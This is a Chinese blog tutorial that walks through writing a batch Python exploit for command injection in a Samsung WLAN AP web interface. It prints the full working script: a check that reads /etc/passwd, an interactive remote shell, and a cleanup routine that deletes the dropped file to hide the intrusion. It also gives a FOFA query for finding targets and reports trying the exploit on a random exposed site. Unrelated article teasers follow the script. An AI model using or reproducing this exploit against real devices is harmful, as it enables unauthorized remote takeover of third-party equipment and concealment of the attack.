如何编写属于自己的第一个exp

0x00 前言

在我们找到一个漏洞之后,可能会想着去fofa上搜语法进而扩大战果,而有些漏洞利用起来十分繁琐,这时候就需要一个exp来批量帮我们进行扫描工作,接下来就介绍一下如何进行exp的编写,这个过程中最重要的还是体现编程思想。

0x01 搭建框架

这里注意一个思想,你要想利用exp去批量打一个漏洞,那必须要存在这个漏洞才能够用exp去利用,可能有的师傅会说,存不存在这个漏洞交给poc去检测啊?

但是我想说的是,一个好的exp并不是单单只是漏洞的利用,而是结合了检测和利用两个模块在一起,所以我在编写exp的过程中都会选择先去检测这个漏洞,再对这个漏洞进行批量利用。

我个人的习惯是先把大体框架搭建出来,可能有些师傅喜欢写一块想一块,但是这里就体现了一个框架的编程思想,你在进行exp的编写时需要考虑到你这个exp需要进行哪几个大的过程去利用这个漏洞。如果写一块想一块的话,一是可能有些地方会漏掉,二是有一些变量可以作为全局变量来使用的却要用局部变量写很多次。

首先养成一个良好的习惯在py头加上一些注释信息,因为你这个py开发出来是要面向大众使用的,而不是你一个人用,所以在别人使用你的程序时,需要知道你这个程序到底是用什么语言写的,python2还是python3,或者其他的一些信息,所以一个好的注释是非常有必要的。

这里就注释了python3编写,以及怎么找这个漏洞的fofa语句,以及ID

接下来就是引入一些库,sys、os、requests这些库都是老生常谈的了,这里着重介绍一下这一行代码的意思

from urllib3.exceptions import InsecureRequestWarning

我们知道https的站都是会有证书验证的,我们在使用Python3 requests发送HTTPS请求,已经关闭认证(verify=False)情况下,控制台会输出以下错误:

InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings

这里我们加上使用这个库就是为了禁用requests发送HTTPS请求后的安全警告

然后就是搭建一个框架,定义一个Check()函数意为检查这个漏洞是否存在,Expliot()函数意为发包去利用这个漏洞,再就是一个主函数

这里我需要提的一个点是函数的命名一定要和这个函数的功能密切相关,否则别人在使用你这个py的时候不能够一眼就知道这个函数大概是干什么的,还需要去看一遍代码,就会十分的麻烦

到这我们的大体框架就已经搭建完毕

0x02 函数编写

这里我们先看一下这个漏洞的poc&exp,以及bp抓包返回的数据

我们先看一下这个漏洞的poc&exp,以及真实情况下bp发送的数据包

可以发现这里是发送了一个POST请求,内容为command1=shell:cat /etc/passwd| dd of=/tmp/a.txt,然后返回包为系统的一些信息

那我们这里首先定义一个headers位于全局变量里

再定义一个CheckData作为Check()函数发包时的Data使用

然后我们定义一个response发送post请求,这里verify = False就是上文提到的关闭安全验证

这里我们看一下headers、CheckData都有定义,这个payload没有被定义,所以我还需要定义一下payload到底是个什么参数

因为在Exploit()这个模块里也需要用到payload,所以我直接选择将payload定义到主函数里,这样就可以当作全局变量来使用

这里我们来到主函数

这里我先规范一下输入的东西,我们知道一些程序在你没有输入程序规定的数据时会报错,这里我们也设置一下

这里我用到了一个sys.argv

sys.argv[0]是代表当前所执行的脚本
sys.argv[1] 脚本第一个参数
所以len(sys.argv) == 2 代表当前脚本含有1个参数

那么我这里用到的if(len(sys.argv) < 2)如果成立,以为着后面时没有参数的,所以这里我输出一个UseAge和Example告诉使用者格式应该是怎样的

再定义一个target指向输入的这个参数,然后定义一下payload,看一下返回包的这个地方

发送了POST请求,而这个POST请求当然是我们要利用漏洞的这个主机发出的,而目标主机的ip作为参数传入,我把它放到了target里面,这样的话构造出来payload就应该为

payload = target + "/(download)/tmp/hello.txt"

payload构建完成那么我们再回到Checking()函数里,我们知道响应成功的话网站是会返回200的校验码的,所以这里我们就可以写一个if...else...语句来进行判断是否返回200来判断漏洞存不存在

另外观察bp的返回包里有root:,那么我们也可以把root:作为判断的条件写入语句来判断漏洞是否存在

但是还有一种情况,如果发送数据包超时了的话,就说明这个服务器不能够接受这个请求,这里我们就还需要补充一个excpet即额外的情况,那么就直接输出服务器错误,函数就不再往下执行

到这里我们的Check()函数就已经编写完毕

那我们继续往下来到Exploit()即漏洞利用这个模块编写,之前我们运行了Check()函数,用了一个if...else...语句对返回包进行判断,如果有200存在则返回True,那么这个地方我们首先要判断上一个函数是否返回的为True,如果不为True我们肯定就没有必要再往下执行这个Exploit()函数

这里我们为了提示用户我们已经进到了Exploit()利用这个函数,我们input一个"# "

def Exploit():while  True:try:command = input("#")

这时候我们再看一下bp发送的包

这里发现“shell:”后面到“|”之前的为linux语句,所以这个地方我们将cat /etc/passwd改为我们想要查询的语句构造成ExpData

然后还是用post请求发送一个包,这个地方就不需要判断了,因为判断已经在Check()函数里面了,这里我们直接将返回的数据打印出来即可

还有一个问题,如果有些命令对面主机不支持怎么办呢,这里我们就再用一个except来输出一个提示信息告诉使用者这个命令对面主机不能使用这个命令

到这个地方Exploit()函数也已经编写完毕了,那么就到了exp的最后一步,对主函数进行完善

这里首先加上一行,之前介绍过的不提示https的安全信息

还有一个逻辑就是,你必须检测出漏洞了才能够继续往下到Exploiot()函数进行利用,所以这个地方我们在加上一个while语句的判断

到这我们这样一个exp就已经大公告成了,这里我在fofa上随便找一个站来试试效果

 首先我直接利用这个py,不传参数进去,它会显示一个UseAge跟Example出来提示我应该怎样使用

当我输入了一个正确网站的时候就能够正常利用了

但是这里又出现了一个问题,有些命令不能够使用怎么办呢

这个漏洞我在查阅资料后发现有一个busybox,能够支持很多命令,如下图所示

现在我再执行whoami命令就可以看到回显了

但是这里又出现了一个问题,就是每次退出的时候都要ctri+c界面就很难看,进入之后也不能够用cls清屏,作为强迫症的我决定继续完善

当我输入exit时调用sys.exit()方法退出程序,当我输入cls时调用os.system("cls")方法清屏,这样看起来就美观多了

这个漏洞需要想目标机发送一个POST请求生成一个hello.txt,那么在利用完成之后就会把hello.txt留在目标机里,这样就增大了被发现入侵过了可能性,所以我这里再加一个Clean()函数对这个txt进行清理

这里使用的命令应该是rm -f,但是它这个就需要在busybox里面调用,所以这个地方在前面加上一个busybox即可

返回200状态码即为清除成功,否则的话清除失败

这里也需要加上一个except来判断目标机是否接收到了我们发送的这个请求

因为我们清理的话需要传入两个参数,所以这里加上一个sys.argv对传入进行判断,当第二个参数为clean则执行Clean(),否则报错

这里再试试效果 

在后面我对输出信息进行了更一步的美化,如下图所示

完整代码如下 

#! /usr/bin/python3
#fofa search: title="Samsung WLAN AP"
#Author Drunkmarsimport sys
import requests
import time
import os
from urllib3.exceptions import InsecureRequestWarningdef Checking():try:Url = target + "(download)/tmp/hello.txt"CkData = "command1=shell:cat /etc/passwd| dd of=/tmp/hello.txt"response = requests.post(url = Url,data = CkData,verify = False,timeout = 20)if(response.status_code == 200 and 'root:' in response.text):return Trueelse:return Falseexcept Exception as e:#print("checking")print("[-] Server Error!")def Exploit():Url = target + "(download)/tmp/hello.txt"while True:try:command = input("# ")if(command == 'exit'):sys.exit()if(command == 'cls'):os.system("cls")continuedata = "command1=shell:" + command + "| dd of=/tmp/hello.txt"response = requests.post(url = Url,data = data,verify = False,timeout = 20)if(response.text == None):print("[!] Server reply nothing")else:print(response.text)except Exception as e:print("[-] Server not suport this command")
def Clean():Url = target + "(download)/tmp/hello.txt"try:CleanData = "command1=shell:busybox rm -f /tmp/hello.txt"response = requests.post(url = Url,data = CleanData,verify = False,timeout = 10)if(response.status_code == 200):print("[+] Clean target successfully!")sys.exit()else:print("[-] Clean Failed!")except Exception as e:print("[-] Server error!")if __name__ == '__main__':if(len(sys.argv) < 2):print("|-----------------------------------------------------------------------------------|")print("|                                WLAN-AP-WEA453e Rce                                |")print("|                       UseAge: python3 exploit.py target                           |")print("|                   Example: python3 exploit.py https://192.168.1.1/                |")print("|                 Clean target: python3 exploit.py https://192.168.1.1/ clean       |")print("|                                [!] Learning only                                  |")print("|___________________________________________________________________________________|")sys.exit()target = sys.argv[1]requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)if(len(sys.argv) == 3):module = sys.argv[2]if(module == 'clean'):Clean()else:print("[-] module error!")while Checking() is True:Exploit()

0x03 后记

exp的编写其实大同小异,主要是首先要搭建起一个框架,知道每一步需要干些什么事情,其实exp的编写也没有想象中的那么难,可能是这个漏洞的利用比较简单,写起来也比较顺畅

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/298718.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Pt】马灯贴图绘制过程 04-玻璃脏迹

目录 效果 步骤 一、透明玻璃 二、烟熏痕迹 三、粗糙 四、浮尘 效果 步骤 一、透明玻璃 1. 打开纹理集设置&#xff0c;着色器链接选择“新的着色器链接” 在着色器设置中可以看到此时名称为“Main shader &#xff08;Copy&#xff09;” 这里修改名称为“玻璃” 在…

设计模式总结-外观模式(门面模式)

外观模式 模式动机模式定义模式结构外观模式实例与解析实例一&#xff1a;电源总开关实例二&#xff1a;文件加密 模式动机 引入外观角色之后&#xff0c;用户只需要直接与外观角色交互&#xff0c;用户与子系统之间的复杂关系由外观角色来实现&#xff0c;从而降低了系统的耦…

基于FPGA的图像累积直方图verilog实现,包含tb测试文件和MATLAB辅助验证

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 Vivado2019.2 matlab2022a 3.部分核心程序 timescale 1ns / 1ps // // Company: // Engineer: // // Design Name: // …

Docker 容器编排技术解析与实践

探索了容器编排技术的核心概念、工具和高级应用&#xff0c;包括 Docker Compose、Kubernetes 等主要平台及其高级功能如网络和存储管理、监控、安全等。此外&#xff0c;文章还探讨了这些技术在实际应用中的案例&#xff0c;提供了对未来趋势的洞见。 一、容器编排介绍 容器编…

美化异常traceback信息,提升调试效率的实用工具

文章目录 Python pretty_errors库使用教程1. 安装pretty_errors库2. 环境要求3. 使用pretty_errors库4. 配置全局可用&#xff08;可选&#xff09;5. 效果对比 Python pretty_errors库使用教程 pretty_errors是一个Python库&#xff0c;用于美化异常的traceback信息&#xff…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中&#xff0c;下面是一题Python求函数极限的例子&#xff1a; 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

Android Studio学习8——点击事件

在xml代码中绑定 在java代码中绑定 弹出一个toast 随机&#xff0c;数组

【蓝桥备赛】异或和——树状数组、DFS

题目链接 异或和 思路分析 树上每个点都有一个点权&#xff0c;对树上的更新操作是修改指定点的点权&#xff0c;查询操作是查询指定点为根结点的子树点权异或和。 这里的这些操作都和树状数组的单点修改和区间查询非常相似&#xff0c;即我们在修改一个点时&#xff0c;同时…

OpenCv —— cv::VideoCapture设置摄像头图像格式为“MJPEG“

背景 今天恰巧同事有台USB摄像头,她想要在Windows系统下通过OpenCV读取该摄像头宽高为1080x768、帧率为60的视频,用来做图像算法处理。但无奈通过网上OpenCV教程 读取的视频对应尺寸的帧率仅为10帧左右,根本无法满足使用要求。于是作者通过本篇文章介绍如何解决,欢迎交流指…

从0到1实现RPC | 04 负载均衡和静态注册中心

一、Router的定义 Router路由用于预筛选&#xff0c;Dubbo有这样的设计&#xff0c;SpringCloud没有。 二、LoadBanlancer定义 负载均衡器&#xff1a;默认取第一个 当前支持随机和轮询两种负载均衡器。 随机&#xff1a;从所有provider中随机选择一个。 轮询&#xff1a;每…

在 Jupyter Notebook 中轻松切换 Python 虚拟环境!

目录 1. 进入虚拟环境 2. 安装 ipykernel 3. 添加 kernel 4. 启动 Jupyter Notebook 5. 选择 kernel 1. 进入虚拟环境 进入cmd&#xff0c;输入conda activate myenv&#xff0c;myenv是虚拟环境名 2. 安装 ipykernel 确保虚拟环境中已安装了 ipykernel 包。如果没有&a…

【嵌入式硬件】三极管伏安特性曲线-饱和区

1.三极管伏安特性 三极管工作电路如下图所示。 三极管伏安特性曲线 书本上的描述: 截止区:三极管工作在截止状态,当发射结的电压Ube 小于 导通电压(0.6V-0.7V),发射结没有导通;集电结处于反向偏置,没有放大作用。 放大区:三极管的发射极加正向电压(…

Win10 下 Vision Mamba(Vim-main)的环境配置(libcuda.so文件无法找到,windows系统运行失败)

目录 1、下载NVIDIA 驱动程序、cuda11.8、cudnn8.6.0 2、在Anaconda中创建环境并激活 3、下载gpu版本的torch 4、配置环境所需要的包 5、安装causal_conv1d和mamba-1p1p1 安装causal_conv1d 安装mamba-1p1p1 6、运行main.py失败 请直接拉到最后查看运行失败的原因&am…

Linux+HA高可用24X7的安全保证

一&#xff0e; 介绍作为服务器&#xff0c;需要提供一定的24X7的安全保证&#xff0c;这样可以防止关键节点的宕机引起系统的全面崩溃。利用OpenSource开源软件&#xff0c;完成系统的高可靠双机热备方案。基于linux的 HA软件可靠稳定&#xff0c;比使用商业版本的HA软件降低成…

ubuntu-server部署hive-part3-安装mysql

参照 https://blog.csdn.net/qq_41946216/article/details/134345137 操作系统版本&#xff1a;ubuntu-server-22.04.3 虚拟机&#xff1a;virtualbox7.0 部署mysql 下载上传 下载地址 https://downloads.mysql.com/archives/community/ 以root用户上传&#xff0c;/usr/loc…

时序预测 | Matlab基于CFBP级联前向BP神经网络时序预测

时序预测 | Matlab基于CFBP级联前向BP神经网络时序预测 目录 时序预测 | Matlab基于CFBP级联前向BP神经网络时序预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab基于CFBP级联前向BP神经网络时序预测&#xff08;完整源码和数据)&#xff1b; 2.数据集为excel…

个人品牌打造IP孵化运营培训教程架构课件

【资料持续更新&#xff0c;以防走丢】 个人品牌打造IP孵化运营培训教程架构课件 部分资料预览 资料部分是网络整理&#xff0c;仅供学习参考。 个人品牌运营合集 &#xff08;完整资料包含以下内容&#xff09;目录 详细的个人IP运营方案&#xff1a; 1. 确定个人定位和…

Java基础——二、数据类型

二、数据类型 基本类型 类型说明 类型单位&#xff08;Byte&#xff09;取值范围byte1[128~127]short2[-32768~32767]int4[-2147483648~2147483647]char2[\u0000~\uFFFF]&#xff1a;注意加’ ’float4[3.402823e38 ~ 1.401298e-45]&#xff1a;e38表示是乘10的38次方double…

macbook(m1) ubuntu下载,复制粘贴和国内镜像源配置

ubuntu下载使用 官网下载Ubuntu 22.04.4 LTS (Jammy Jellyfish) Daily Build 打开后根据电脑的架构选择安装包&#xff0c;想要下载其他版本也可在官网中自行搜索。 我安装时舍友说他安装的是22.04这个版本&#xff0c;我也就跟着他安装了 注意&#xff1a;下载的版本最好有…

详解 Redis 在 Ubuntu 系统上的安装

在 Ubuntu 20.04 安装 Redis 1. 先切换到 root 用户 在 Ubuntu 20.04 中&#xff0c;可以通过以下步骤切换到 root 用户&#xff1a; 输入以下命令&#xff0c;以 root 用户身份登录&#xff1a; sudo su -按回车键&#xff0c;并输入当前用户的密码&#xff08;即具有 sudo…